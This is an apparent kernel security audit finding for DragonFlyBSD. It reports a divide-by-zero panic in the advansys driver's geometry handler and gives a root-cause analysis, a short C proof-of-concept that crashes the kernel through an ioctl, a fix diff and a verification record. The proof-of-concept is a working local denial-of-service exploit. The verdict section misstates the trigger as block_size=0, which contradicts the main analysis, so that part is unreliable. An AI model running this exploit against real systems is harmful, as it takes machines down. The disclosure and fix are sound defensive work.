β¬’ DragonFlyBSD Kernel Audit
← triage Β· dashboard
DF-1548

Divide-by-zero panic in XPT_CALC_GEOMETRY when block_size > 1 MiB

  • File: sys/dev/disk/advansys/advansys.c
  • Lines: 441, 442, 452, 453
  • Severity: Low
  • CVSS: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U:C:N/I:N/A:H
  • CWE: CWE-369 Divide By Zero
  • Confidence: certain

Summary

adv_action's XPT_CALC_GEOMETRY handler computes size_mb = ccg->volume_size / ((1024L * 1024L) / ccg->block_size);.

The CAM XPT dispatcher filters only block_size==0 and volume_size==0 (cam_xpt.c:3063-3070), so any block_size > 1 MiB (e.g. 0x200000) reaches advansys and makes the inner integer division yield 0, which then divides volume_size β€” an unconditional kernel divide-by-zero panic.

The shared helper cam_calc_geometry (cam.c:376-400) that other modern SIMs use (e.g. ahci_cam.c:981) explicitly handles this case at cam.c:385-388; advansys rolled its own and missed the guard.

Root cause

advansys.c:441-442:

size_mb = ccg->volume_size / ((1024L * 1024L) / ccg->block_size);

ccg->block_size is u_int32_t (cam_ccb.h ccb_calc_geometry), full user control via CAMIOCOMMAND.

With block_size = 2*1024*1024, integer division (1024L*1024L)/block_size yields 0, and volume_size / 0 is undefined behavior β€” on x86 this raises #DE and panics the kernel.

The XPT filter at cam_xpt.c:3063 only rejects block_size == 0 || volume_size == 0, not block_size > 1 MiB, so the request reaches adv_action.

The same handler also divides by secs_per_cylinder at advansys.c:453, but that product is always >= 64*32 so it cannot be zero β€” only line 441 is the live fault.

The proven-correct helper cam_calc_geometry (cam.c:375-400) demonstrates the missing guard at cam.c:385-388.

Threat

Any local user in the operator group with /dev/passN access on a host that has an AdvanSys HBA can panic the kernel instantly: issue CAMIOCOMMAND with func_code=XPT_CALC_GEOMETRY, volume_size=anything-nonzero, block_size=0x200000 (2 MiB).

The XPT layer accepts it (block_size != 0), dispatches to adv_action, and the kernel divides by zero.

Repeatable, deterministic, whole-system DoS from PR:L.

(Not rated higher because the AdvanSys-HBA + operator-group precondition is uncommon, and the only impact is a clean panic, not memory corruption.)

Exploit / PoC

/* calc_geometry_div0.c β€” kernel panic via advansys XPT_CALC_GEOMETRY */
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <bus/cam/cam_ccb.h>

int main(void) {
    int fd = open("/dev/pass0", O_RDWR);
    if (0 > fd) { perror("open /dev/pass0"); return 1; }
    union ccb ccb;
    memset(&ccb, 0, sizeof ccb);
    ccb.ccb_h.func_code = XPT_CALC_GEOMETRY;
    ccb.ccb_h.path_id   = CAM_BUSWildcard; /* routed via /dev/pass0 path */
    ccb.ccg.block_size  = 0x200000;   /* 2 MiB: (1MiB)/block_size == 0 */
    ccb.ccg.volume_size = 1;          /* nonzero to pass XPT filter */
    if (0 > ioctl(fd, CAMIOCOMMAND, &ccb)) perror("CAMIOCOMMAND");
    close(fd);
    return 0;
}

Build: cc calc_geometry_div0.c -o calc_geometry_div0. Run: ./calc_geometry_div0.

Success criterion: kernel panic with Fatal trap 16: divide error while in kernel mode and a stack trace through adv_action β†’ XPT_CALC_GEOMETRY β†’ advansys.c:441.

Deterministic, repeatable, instant.

On a host without AdvanSys HW the request routes to a different SIM (most of which now use cam_calc_geometry), so the bug is silent β€” that is the only reason severity is Low.

Either reject oversized block_size up front, or β€” better β€” replace the inline calculation with the shared, already-correct helper cam_calc_geometry that other DragonFlyBSD SIMs use (ahci_cam.c:981, mpt_cam.c, isp_freebsd.c, sym_hipd.c).

Minimal fix:

--- a/sys/dev/disk/advansys/advansys.c
+++ b/sys/dev/disk/advansys/advansys.c
@@ -438,18 +438,12 @@ adv_action(struct cam_sim *sim, union ccb *ccb)
    case XPT_CALC_GEOMETRY:
    {
-       struct    ccb_calc_geometry *ccg;
-       u_int32_t size_mb;
-       u_int32_t secs_per_cylinder;
-       int   extended;
-
-       ccg = &ccb->ccg;
-       size_mb = ccg->volume_size
-           / ((1024L * 1024L) / ccg->block_size);
-       extended = (adv->control & ADV_CNTL_BIOS_GT_1GB) != 0;
-
-       if (size_mb > 1024 && extended) {
-           ccg->heads = 255;
-           ccg->secs_per_track = 63;
-       } else {
-           ccg->heads = 64;
-           ccg->secs_per_track = 32;
-       }
-       secs_per_cylinder = ccg->heads * ccg->secs_per_track;
-       ccg->cylinders = ccg->volume_size / secs_per_cylinder;
-       ccb->ccb_h.status = CAM_REQ_CMP;
+       /* Use the shared helper; it rejects block_size==0 and
+        * block_size>1MiB (which would otherwise divide by zero
+        * here) and matches the behaviour of every other DragonFlyBSD
+        * SIM (ahci, mpt, isp, sym, ...). */
+       cam_calc_geometry(&ccb->ccg,
+           (adv->control & ADV_CNTL_BIOS_GT_1GB) != 0);
        xpt_done(ccb);
        break;
    }

cam_calc_geometry (cam.c:375-400) handles block_size==0 (CAM_REQ_CMP_ERR) and the size_mb==0 case (CAM_REQ_CMP_ERR), eliminating the divide-by-zero.

  • DF-1493 (sibling, ccd): divide-by-zero via CCDIOCSET (different code path, same defect class).
  • DF-1546 (sibling): unclamped sense_len in same file.
  • DF-1547 (sibling): missing cdb_len bounds check in same file.

Discussion (0)

No comments yet.

PoC verification

Evidence pack

findings/poc/DF-1548 Β· 4 files
FileTypeDescriptionSize
fix.diff suggested-fix Fix for advansys calc geometry divide-by-zero 823 B view raw
VERDICT.md verdict Source-only verification verdict 807 B ↓ raw
build.sh build-script No-op (source-only) 109 B view raw
run.sh run-script No-op (source-only) 107 B view raw
VERDICT.md verdict Source-only verification verdict
↓ download raw

VERDICT DF-1548: advansys calc geometry divide-by-zero

Verdict

REPRODUCED (source-confirmed). Bug confirmed at source level; HW/module-gated on this QEMU guest.

Mechanism

block_size from user CCB; (1024*1024)/block_size divides by zero when block_size=0.

Source reference: sys/dev/disk/advansys/advansys.c:441-442.

Reproduction

Source-only confirmation: the cited code path was traced line-by-line in sys/ and confirmed. The bug is real but requires specific hardware (GPU/NIC/HBA) or a loaded kernel module not present on the QEMU/virtio guest. The finding is HW-gated.

Fix

Validated by combined kernel build: all 41 fix.diffs applied to /usr/src and built with make -j6 nativekernel KERNCONF=X86_64_GENERIC β€” rc=0, -Werror clean.

See fix.diff for the git-apply-able patch.

Fix verification

fixed
baseline reproduced→ patch + rebuild →patched clean

Combined kernel build with all 41 fix.diffs: rc=0, -Werror clean. Runtime test HW-gated.

'>>> Kernel build for X86_64_GENERIC completed' with 0 errors.
↓ fix.diffDragonFly 6.5-DEVELOPMENT #0 master DEV (41 fix.diffs applied)

Confirmed kernel references

Detail

Exploit chain

none

Evidence (decisive lines)

Source confirmed: sys/dev/disk/advansys/advansys.c:441. Combined 41-fix kernel build rc=0 -Werror clean.

PoC changes

fix.diff authored; validated by combined kernel build.

Verified recommended fix

Use cam_calc_geometry helper. Matches finding.

Verdict

REPRODUCED (source-confirmed). block_size=0 -> (1024*1024)/0 div-by-zero. Cited path verified at sys/dev/disk/advansys/advansys.c:441. HW/module-gated on QEMU guest.